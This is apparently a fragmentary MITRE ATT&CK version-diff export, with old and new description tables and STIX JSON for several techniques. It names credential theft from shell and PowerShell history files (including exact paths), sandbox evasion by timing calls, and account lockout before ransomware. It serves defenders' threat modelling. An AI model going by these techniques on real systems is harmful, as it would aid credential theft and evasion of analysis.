| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may search private data from threat intelligence | t | 1 | Adversaries may search private data from threat intelligence |
| > | vendors for information that can be used during targeting. | > | vendors for information that can be used during targeting. | ||
| > | Threat intelligence vendors may offer paid feeds or portals | > | Threat intelligence vendors may offer paid feeds or portals | ||
| > | that offer more data than what is publicly reported. Althoug | > | that offer more data than what is publicly reported. Althoug | ||
| > | h sensitive details (such as customer names and other identi | > | h sensitive details (such as customer names and other identi | ||
| > | fiers) may be redacted, this information may contain trends | > | fiers) may be redacted, this information may contain trends | ||
| > | regarding breaches such as target industries, attribution cl | > | regarding breaches such as target industries, attribution cl | ||
| > | aims, and successful TTPs/countermeasures.(Citation: D3Secut | > | aims, and successful TTPs/countermeasures.(Citation: D3Secut | ||
| > | rity CTI Feeds) Adversaries may search in private threat in | > | rity CTI Feeds) Adversaries may search in private threat in | ||
| > | telligence vendor data to gather actionable information. Thr | > | telligence vendor data to gather actionable information. If | ||
| > | eat actors may seek information/indicators gathered about th | > | a threat actor is searching for information on their own act | ||
| > | eir own campaigns, as well as those conducted by other adver | > | ivities, that falls under [Search Threat Vendor Data](https: | ||
| > | saries that may align with their target industries, capabili | > | //attack.mitre.org/techniques/T1681). Information reported b | ||
| > | ties/objectives, or other operational concerns. Information | > | y vendors may also reveal opportunities other forms of recon | ||
| > | reported by vendors may also reveal opportunities other form | > | naissance (ex: [Search Open Websites/Domains](https://attack | ||
| > | s of reconnaissance (ex: [Search Open Websites/Domains](http | > | .mitre.org/techniques/T1593)), establishing operational reso | ||
| > | s://attack.mitre.org/techniques/T1593)), establishing operat | > | urces (ex: [Develop Capabilities](https://attack.mitre.org/t | ||
| > | ional resources (ex: [Develop Capabilities](https://attack.m | > | echniques/T1587) or [Obtain Capabilities](https://attack.mit | ||
| > | itre.org/techniques/T1587) or [Obtain Capabilities](https:// | > | re.org/techniques/T1588)), and/or initial access (ex: [Explo | ||
| > | attack.mitre.org/techniques/T1588)), and/or initial access ( | > | it Public-Facing Application](https://attack.mitre.org/techn | ||
| > | ex: [Exploit Public-Facing Application](https://attack.mitre | > | iques/T1190) or [External Remote Services](https://attack.mi | ||
| > | .org/techniques/T1190) or [External Remote Services](https:/ | > | tre.org/techniques/T1133)). | ||
| > | /attack.mitre.org/techniques/T1133)). |
systemsetup configuration tool on macOS. Adversaries may leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get` and `system version get`.(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: Varonis)\n\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)\n\n[System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques) ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1082",
"external_id": "T1082"
},
{
"source_name": "Amazon Describe Instance",
"description": "Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020.",
"url": "https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html"
},
{
"source_name": "Google Instances Resource",
"description": "Google. (n.d.). Rest Resource: instance. Retrieved March 3, 2020.",
"url": "https://cloud.google.com/compute/docs/reference/rest/v1/instances"
},
{
"source_name": "Varonis",
"description": "Jason Hill. (2023, February 8). VMware ESXi in the Line of Ransomware Fire. Retrieved March 26, 2025.",
"url": "https://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire"
},
{
"source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021",
"description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.",
"url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/"
},
{
"source_name": "Microsoft Virutal Machine API",
"description": "Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved October 8, 2019.",
"url": "https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get"
},
{
"source_name": "20 macOS Common Tools and Techniques",
"description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.",
"url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
},
{
"source_name": "OSX.FairyTale",
"description": "Phile Stokes. (2018, September 20). On the Trail of OSX.FairyTale | Adware Playing at Malware. Retrieved August 24, 2021.",
"url": "https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/"
},
{
"source_name": "US-CERT-TA18-106A",
"description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
"url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Maril Vernon @shewhohacks",
"Praetorian",
"Austin Clark, @c2defense"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"ESXi",
"IaaS",
"Linux",
"macOS",
"Network Devices",
"Windows"
],
"x_mitre_version": "3.0",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:38.277000+00:00\", \"old_value\": \"2025-04-15 19:58:21.308000+00:00\"}, \"root['description']\": {\"new_value\": \"An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use this information to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. This behavior is distinct from [Local Storage Discovery](https://attack.mitre.org/techniques/T1680) which is an adversary's discovery of local drive, disks and/or volumes.\\n\\nTools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. Adversaries may leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get` and `system version get`.(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: Varonis)\\n\\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)\\n\\n[System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques) \", \"old_value\": \"An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\\n\\nTools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get`, `system version get`, and `storage filesystem list` (to list storage volumes).(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: Varonis)\\n\\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)\\n\\n[System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques) \", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n-An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\\n+An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use this information to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. This behavior is distinct from [Local Storage Discovery](https://attack.mitre.org/techniques/T1680) which is an adversary's discovery of local drive, disks and/or volumes.\\n \\n-Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get`, `system version get`, and `storage filesystem list` (to list storage volumes).(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: Varonis)\\n+Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. Adversaries may leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get` and `system version get`.(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: Varonis)\\n \\n Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)\\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather detailed system information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\\nIn cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to gather detailed system information with built-in features native to the network device platform. Monitor CLI activity for unexpected or unauthorized use commands being run by non-standard users from non-standard locations. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n-\\n-In cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.\"}, \"root['x_mitre_version']\": {\"new_value\": \"3.0\", \"old_value\": \"2.6\"}}}",
"previous_version": "2.6",
"version_change": "2.6 \u2192 3.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may attempt to get detailed information about t | t | 1 | An adversary may attempt to get detailed information about t |
| > | he operating system and hardware, including version, patches | > | he operating system and hardware, including version, patches | ||
| > | , hotfixes, service packs, and architecture. Adversaries may | > | , hotfixes, service packs, and architecture. Adversaries may | ||
| > | use the information from [System Information Discovery](htt | > | use this information to shape follow-on behaviors, includin | ||
| > | ps://attack.mitre.org/techniques/T1082) during automated dis | > | g whether or not the adversary fully infects the target and/ | ||
| > | covery to shape follow-on behaviors, including whether or no | > | or attempts specific actions. This behavior is distinct from | ||
| > | t the adversary fully infects the target and/or attempts spe | > | [Local Storage Discovery](https://attack.mitre.org/techniqu | ||
| > | cific actions. Tools such as [Systeminfo](https://attack.mi | > | es/T1680) which is an adversary's discovery of local drive, | ||
| > | tre.org/software/S0096) can be used to gather detailed syste | > | disks and/or volumes. Tools such as [Systeminfo](https://at | ||
| > | m information. If running with privileged access, a breakdow | > | tack.mitre.org/software/S0096) can be used to gather detaile | ||
| > | n of system data can be gathered through the <code>systemset | > | d system information. If running with privileged access, a b | ||
| > | up</code> configuration tool on macOS. As an example, advers | > | reakdown of system data can be gathered through the <code>sy | ||
| > | aries with user-level access can execute the <code>df -aH</c | > | stemsetup</code> configuration tool on macOS. Adversaries ma | ||
| > | ode> command to obtain currently mounted disks and associate | > | y leverage a [Network Device CLI](https://attack.mitre.org/t | ||
| > | d freely available space. Adversaries may also leverage a [N | > | echniques/T1059/008) on network devices to gather detailed s | ||
| > | etwork Device CLI](https://attack.mitre.org/techniques/T1059 | > | ystem information (e.g. <code>show version</code>).(Citation | ||
| > | /008) on network devices to gather detailed system informati | > | : US-CERT-TA18-106A) On ESXi servers, threat actors may gath | ||
| > | on (e.g. <code>show version</code>).(Citation: US-CERT-TA18- | > | er system information from various esxcli utilities, such as | ||
| > | 106A) On ESXi servers, threat actors may gather system infor | > | `system hostname get` and `system version get`.(Citation: C | ||
| > | mation from various esxcli utilities, such as `system hostna | > | rowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: Varon | ||
| > | me get`, `system version get`, and `storage filesystem list` | > | is) Infrastructure as a Service (IaaS) cloud providers such | ||
| > | (to list storage volumes).(Citation: Crowdstrike Hypervisor | > | as AWS, GCP, and Azure allow access to instance and virtual | ||
| > | Jackpotting Pt 2 2021)(Citation: Varonis) Infrastructure a | > | machine information via APIs. Successful authenticated API | ||
| > | s a Service (IaaS) cloud providers such as AWS, GCP, and Azu | > | calls can return data such as the operating system platform | ||
| > | re allow access to instance and virtual machine information | > | and status of a particular instance or the model view of a v | ||
| > | via APIs. Successful authenticated API calls can return data | > | irtual machine.(Citation: Amazon Describe Instance)(Citation | ||
| > | such as the operating system platform and status of a parti | > | : Google Instances Resource)(Citation: Microsoft Virutal Mac | ||
| > | cular instance or the model view of a virtual machine.(Citat | > | hine API) [System Information Discovery](https://attack.mit | ||
| > | ion: Amazon Describe Instance)(Citation: Google Instances Re | > | re.org/techniques/T1082) combined with information gathered | ||
| > | source)(Citation: Microsoft Virutal Machine API) [System In | > | from other forms of discovery and reconnaissance can drive p | ||
| > | formation Discovery](https://attack.mitre.org/techniques/T10 | > | ayload development and concealment.(Citation: OSX.FairyTale) | ||
| > | 82) combined with information gathered from other forms of d | > | (Citation: 20 macOS Common Tools and Techniques) | ||
| > | iscovery and reconnaissance can drive payload development an | ||||
| > | d concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS C | ||||
| > | ommon Tools and Techniques) |
.bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user\\u2019s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,7 @@\\n-Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the \\\"history\\\" utility. Once a user logs out, the history is flushed to the user\\u2019s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user\\u2019s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)\\n+Adversaries may search the command history on compromised systems for insecurely stored credentials.\\n+\\n+On Linux and macOS systems, shells such as Bash and Zsh keep track of the commands users type on the command-line with the \\\"history\\\" utility. Once a user logs out, the history is flushed to the user's history file. For each user, this file resides at the same location: for example, `~/.bash_history` or `~/.zsh_history`. Typically, these files keeps track of the user's last 1000 commands.\\n+\\n+On Windows, PowerShell has both a command history that is wiped after the session ends, and one that contains commands used in all sessions and is persistent. The default location for persistent history can be found in `%userprofile%\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\PowerShell\\\\PSReadline\\\\ConsoleHost_history.txt`, but command history can also be accessed with `Get-History`. Command Prompt (CMD) on Windows does not have persistent history.(Citation: Microsoft about_History)(Citation: Medium)\\n+\\n+Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials.(Citation: External to DA, the OS X Way)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \\\"history\\\" instead of commands like cat ~/.bash_history.\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"Medium\", \"description\": \"Michael Koczwara. (2021, March 14). Windows privilege escalation via PowerShell History. Retrieved June 13, 2025.\", \"url\": \"https://michaelkoczwara.medium.com/windows-privilege-escalation-dbb908cce8d4\"}, \"root['external_references'][3]\": {\"source_name\": \"Microsoft about_History\", \"description\": \"Microsoft. (2024, January 19). about_History. Retrieved June 13, 2025.\", \"url\": \"https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.5\"}, \"root['x_mitre_platforms'][2]\": \"Windows\"}}",
"previous_version": "1.2",
"version_change": "1.2 \u2192 2.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may search the bash command history on compromis | t | 1 | Adversaries may search the command history on compromised sy |
| > | ed systems for insecurely stored credentials. Bash keeps tra | > | stems for insecurely stored credentials. On Linux and macOS | ||
| > | ck of the commands users type on the command-line with the \" | > | systems, shells such as Bash and Zsh keep track of the comm | ||
| > | history\" utility. Once a user logs out, the history is flush | > | ands users type on the command-line with the \"history\" utili | ||
| > | ed to the user\u2019s <code>.bash_history</code> file. For each u | > | ty. Once a user logs out, the history is flushed to the user | ||
| > | ser, this file resides at the same location: <code>~/.bash_h | > | 's history file. For each user, this file resides at the sam | ||
| > | istory</code>. Typically, this file keeps track of the user\u2019 | > | e location: for example, `~/.bash_history` or `~/.zsh_histor | ||
| > | s last 500 commands. Users often type usernames and password | > | y`. Typically, these files keeps track of the user's last 10 | ||
| > | s on the command-line as parameters to programs, which then | > | 00 commands. On Windows, PowerShell has both a command hist | ||
| > | get saved to this file when they log out. Adversaries can ab | > | ory that is wiped after the session ends, and one that conta | ||
| > | use this by looking through the file for potential credentia | > | ins commands used in all sessions and is persistent. The def | ||
| > | ls. (Citation: External to DA, the OS X Way) | > | ault location for persistent history can be found in `%userp | ||
| > | rofile%\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadl | ||||
| > | ine\\ConsoleHost_history.txt`, but command history can also b | ||||
| > | e accessed with `Get-History`. Command Prompt (CMD) on Windo | ||||
| > | ws does not have persistent history.(Citation: Microsoft abo | ||||
| > | ut_History)(Citation: Medium) Users often type usernames an | ||||
| > | d passwords on the command-line as parameters to programs, w | ||||
| > | hich then get saved to this file when they log out. Adversar | ||||
| > | ies can abuse this by looking through the file for potential | ||||
| > | credentials.(Citation: External to DA, the OS X Way) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may employ various time-based methods to detect | t | 1 | Adversaries may employ various time-based methods to detect |
| > | and avoid virtualization and analysis environments. This may | > | virtualization and analysis environments, particularly those | ||
| > | include enumerating time-based properties, such as uptime o | > | that attempt to manipulate time mechanisms to simulate long | ||
| > | r the system clock, as well as the use of timers or other tr | > | er elapses of time. This may include enumerating time-based | ||
| > | iggers to avoid a virtual machine environment (VME) or sandb | > | properties, such as uptime or the system clock. Adversarie | ||
| > | ox, specifically those that are automated or only operate fo | > | s may use calls like `GetTickCount` and `GetSystemTimeAsFile | ||
| > | r a limited amount of time. Adversaries may employ various | > | Time` to discover if they are operating within a virtual mac | ||
| > | time-based evasions, such as delaying malware functionality | > | hine or sandbox, or may be able to identify a sandbox accele | ||
| > | upon initial execution using programmatic sleep commands or | > | rating time by sampling and calculating the expected value f | ||
| > | native system scheduling functionality (ex: [Scheduled Task/ | > | or an environment's timestamp before and after execution of | ||
| > | Job](https://attack.mitre.org/techniques/T1053)). Delays may | > | a sleep function.(Citation: ISACA Malware Tricks) | ||
| > | also be based on waiting for specific victim conditions to | ||||
| > | be met (ex: system time, events, etc.) or employ scheduled [ | ||||
| > | Multi-Stage Channels](https://attack.mitre.org/techniques/T1 | ||||
| > | 104) to avoid analysis and scrutiny.(Citation: Deloitte Envi | ||||
| > | ronment Awareness) Benign commands or other operations may | ||||
| > | also be used to delay malware execution. Loops or otherwise | ||||
| > | needless repetitions of commands, such as [Ping](https://att | ||||
| > | ack.mitre.org/software/S0097)s, may be used to delay malware | ||||
| > | execution and potentially exceed time thresholds of automat | ||||
| > | ed analysis environments.(Citation: Revil Independence Day)( | ||||
| > | Citation: Netskope Nitol) Another variation, commonly referr | ||||
| > | ed to as API hammering, involves making various calls to [Na | ||||
| > | tive API](https://attack.mitre.org/techniques/T1106) functio | ||||
| > | ns in order to delay execution (while also potentially overl | ||||
| > | oading analysis environments with junk data).(Citation: Joe | ||||
| > | Sec Nymaim)(Citation: Joe Sec Trickbot) Adversaries may als | ||||
| > | o use time as a metric to detect sandboxes and analysis envi | ||||
| > | ronments, particularly those that attempt to manipulate time | ||||
| > | mechanisms to simulate longer elapses of time. For example, | ||||
| > | an adversary may be able to identify a sandbox accelerating | ||||
| > | time by sampling and calculating the expected value for an | ||||
| > | environment's timestamp before and after execution of a slee | ||||
| > | p function.(Citation: ISACA Malware Tricks) |
Set-LocalUser and Set-ADAccountPassword [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. Accounts could also be disabled by Group Policy. In Linux, the passwd utility may be used to change passwords. On ESXi servers, accounts can be removed or modified via esxcli (`system account set`, `system account remove`).\n\nAdversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), in order to impede incident response/recovery before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1531",
"external_id": "T1531"
},
{
"source_name": "CarbonBlack LockerGoga 2019",
"description": "CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification \u2013 LockerGoga Ransomware. Retrieved April 16, 2019.",
"url": "https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/"
},
{
"source_name": "Unit42 LockerGoga 2019",
"description": "Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.",
"url": "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/"
},
{
"source_name": "Obsidian Security SaaS Ransomware June 2023",
"description": "Obsidian Threat Research Team. (2023, June 6). SaaS Ransomware Observed in the Wild for Sharepoint in Microsoft 365. Retrieved October 5, 2025.",
"url": "https://web.archive.org/web/20230608061141/https://www.obsidiansecurity.com/blog/saas-ransomware-observed-sharepoint-microsoft-365/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Hubert Mank",
"Arun Seelagan, CISA",
"Liran Ravich, CardinalOps"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_impact_type": [
"Availability"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows",
"SaaS",
"IaaS",
"Office Suite",
"ESXi"
],
"x_mitre_version": "1.5",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Active Directory: Active Directory Object Modification\", \"User Account: User Account Modification\", \"User Account: User Account Deletion\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:14.836000+00:00\", \"old_value\": \"2025-04-15 19:58:58.987000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials, revoked permissions for SaaS platforms such as Sharepoint) to remove access to accounts.(Citation: Obsidian Security SaaS Ransomware June 2023) Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)\\n\\nIn Windows, [Net](https://attack.mitre.org/software/S0039) utility, Set-LocalUser and Set-ADAccountPassword [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. Accounts could also be disabled by Group Policy. In Linux, the passwd utility may be used to change passwords. On ESXi servers, accounts can be removed or modified via esxcli (`system account set`, `system account remove`).\\n\\nAdversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), in order to impede incident response/recovery before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective. \", \"old_value\": \"Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)\\n\\nIn Windows, [Net](https://attack.mitre.org/software/S0039) utility, Set-LocalUser and Set-ADAccountPassword [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. Accounts could also be disabled by Group Policy. In Linux, the passwd utility may be used to change passwords. On ESXi servers, accounts can be removed or modified via esxcli (`system account set`, `system account remove`).\\n\\nAdversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), in order to impede incident response/recovery before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective. \", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)\\n+Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials, revoked permissions for SaaS platforms such as Sharepoint) to remove access to accounts.(Citation: Obsidian Security SaaS Ransomware June 2023) Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: Unit42 LockerGoga 2019)\\n \\n In Windows, [Net](https://attack.mitre.org/software/S0039) utility, Set-LocalUser and Set-ADAccountPassword [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. Accounts could also be disabled by Group Policy. In Linux, the passwd utility may be used to change passwords. On ESXi servers, accounts can be removed or 